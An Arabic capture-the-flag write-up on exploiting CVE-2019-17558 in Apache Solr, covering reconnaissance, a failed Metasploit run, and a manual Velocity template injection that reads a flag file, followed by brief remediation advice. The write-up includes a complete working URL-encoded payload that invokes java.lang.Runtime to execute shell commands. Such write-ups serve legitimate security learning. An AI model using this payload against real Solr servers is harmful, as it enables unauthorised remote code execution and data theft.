
تقرير CTF يوثّق استغلال ثغرة CVE-2019-17558 في Apache Solr، ويغطي الاستطلاع، وقيود Metasploit، والحقن اليدوي لقالب Velocity، والتقاط العلم، والمعالجة.
استغلال عملي لثغرة Velocity Template Injection في Apache Solr، والتطور من فشل في أداة آلية (Metasploit) إلى استغلال يدوي ناجح.
هذا التقرير يوثّق خط التفكير الكامل للتمرين، مع التركيز على تشخيص فشل الأداة والتحول إلى الاستغلال اليدوي.
| العنصر | الوصف |
|---|---|
| الهدف | خادم Linux يشغّل Apache Solr على المنفذ 8983 |
| الغرض | قراءة محتوى ملف حساس (/home/favorite_book.txt) |
| الثغرة | CVE-2019-17558 (RCE عبر Velocity Response Writer) |
تألفت المرحلة الأولية من تحديد الخدمات النشطة على المضيف الهدف.
nmap -sV -p- <TARGET_IP>
النتائج:
novacollection.عند الوصول إلى لوحة الإدارة، تم التأكد من أن إصدار Solr كان عرضة لثغرة Velocity Template Injection.
تحدث الثغرة عندما يتمكن المهاجم من تغيير الإعداد params.resource.loader.enabled إلى true، مما يسمح باستخدام قوالب Velocity مخصصة، ومن ثم تنفيذ كود Java عشوائي على الخادم.
في البداية تم استخدام الوحدة exploit/multi/http/solr_velocity_rce.
تمكن الـ exploit من تغيير إعداد Solr بنجاح.
[+] params.resource.loader.enabled is true for core 'novacollection'
ومع ذلك، فشلت المرحلة الأخيرة من حقن الـ payload بخطأ تنفيذ Ruby.
NoMethodError: undefined method 'body' for nil:NilClass
يشير هذا إلى أنه على الرغم من أن البيئة كانت عرضة للخطر ومُجهزة مسبقًا، إلا أن الأداة لم تتمكن من معالجة استجابة الخادم لإنهاء الهجوم. لم يكن الهدف محصّنًا، بل كانت طريقة تسليم الوحدة هي التي تحتاج إلى تعديل.
مع تفعيل Velocity Writer مسبقًا بواسطة Metasploit، تم تنفيذ الحقن يدويًا عبر طلب HTTP GET، متجاوزًا خطأ السكربت. تم إنشاء قالب Velocity لاستدعاء java.lang.Runtime وتنفيذ أمر قراءة الملف المستهدف.
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
الأمر الذي نُفذ فعليًا على الخادم:
cat /home/favorite_book.txt
نجح الحقن وتم إرجاع محتوى الملف مباشرة في جسم استجابة HTTP، وعُرض في المتصفح، مما سمح بالتقاط الـ flag.
NoMethodError يعني أن الهدف آمن، بل فقط أن طريقة التسليم كانت تحتاج إلى تعديل.params.resource.loader.enabled معطلاً.select باستخدام معاملات wt=velocity، وهي مفيدة كتوقيع كشف في SIEM.أُنشئ هذا المستودع لأغراض تعليمية وتوثيق التعلم في بيئة خاضعة للتحكم (CTF). لا تستخدم هذه التقنيات ضد أنظمة دون إذن صريح.